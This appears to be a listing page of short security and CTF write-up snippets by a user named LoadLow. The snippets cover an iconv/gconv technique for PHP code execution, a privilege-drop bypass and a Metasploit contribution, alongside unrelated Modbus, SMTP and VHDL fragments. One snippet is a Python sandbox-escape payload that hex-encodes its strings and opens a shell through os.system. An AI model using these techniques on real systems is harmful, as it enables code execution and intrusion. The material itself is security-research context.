LoadLow

This is based on https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/

Credits: @hugeh0ge

It uses iconv, in php, in order to execute the same payload.

Uses cases :

• You control the first parameter of iconv (in_charset), you can set an env var and you can upload arbitrary files (.so library file and the gconv-modules file) and you know their path.
• You have a php RCE but system, shell_exec, curl_exec and other functions are disabled but you can setenv (and LD_PRELOAD is blacklisted).

LoadLow

It was a .jar file.

We just had to decompile it, analyze a bit the protocol and find a way to write all the bits in memory to 1 instead of reading them, in order to "unlock all the doors".

LoadLow

Win64 PE With some protections ...

ASLR : True
DEP : True
SEH : False
CFG : False
[*] Listing imported DLLs...
        WS2_32.dll
 KERNEL32.dll

LoadLow

#!/usr/bin/env python
"""
Modbus Message Parser
--------------------------------------------------------------------------
"""
from __future__ import print_function

import codecs as c
import types

LoadLow

Static binary, PIE + ASLR + NX, probably not a BoF with a shellcode

I've exploited another BoF on the mruby file format / file reader

It was easier, I just had to trigger an error to avoid the setuid that drops privileges.

LoadLow

a1 = "\x73\x79\x73" # sys
a2 = "\x6f\x73" # os
a3 = "\x73\x68" # sh 
a4 = "\x73\x79\x73\x74\x65\x6d" #system
a5 = getattr([].__class__.__mro__[1].__subclasses__()[104].__init__.__globals__[a1].modules[a2],a4)
a5(a3)

LoadLow

var encrypt = new JSEncrypt();
encrypt.setPublicKey($('#pubkey').val());

var fnd = false;

for(var i = 0; i < 1000; ++i) {
    var asciimin = 0x20;
    var asciimax = 126

    var min;

LoadLow

import scapy
from scapy_ssl_tls.ssl_tls import *

from socket import *

cc = socket(AF_INET, SOCK_STREAM)
cc.connect(("127.0.0.1", 25))
print(str(cc.recv(1024)))

cc.send('ehlo localhost\r\n')

LoadLow

PR created in Metasploit Framework repository

rapid7/metasploit-framework#12207

LoadLow

----------------------------------------------------------------------------------
-- Create Date:    09:43:04 03/16/2018
-- Design Name:
-- Module Name:  ethernet_controller - Behavioral
-- Project Name:     Controller
-- Description: 100mbps ethernet controller
--
-- Dependencies:    lfsr25, ethernet_spec
----------------------------------------------------------------------------------
library ieee;